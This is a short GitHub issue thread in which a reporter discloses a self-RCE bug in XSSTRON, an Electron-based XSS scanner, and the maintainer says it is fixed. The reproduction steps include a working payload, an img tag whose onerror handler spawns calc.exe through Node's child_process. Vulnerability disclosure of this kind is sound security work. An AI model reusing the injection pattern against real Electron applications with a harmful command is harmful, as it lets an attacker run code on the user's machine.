Arbitrary code execution

RenwaX23 / XSSTRON

Electron JS Browser To Find XSS Vulnerabilities Automatically

GNU General Public License v3.0

675 stars 119 forks source link

Closed ivars-vids closed 3 years ago

ivars-vids commented 3 years ago

Steps to reproduce:

Click Mass URL Scan
Paste payload http://<img onerror="require('child_process').spawn('calc.exe')" src>
Click Submit
Boom! Calculator!

Payload is for Windows.

RenwaX23 commented 3 years ago

Haha nice catch! even it's self-RCE, fixed now let me know if you found anything, Thanks.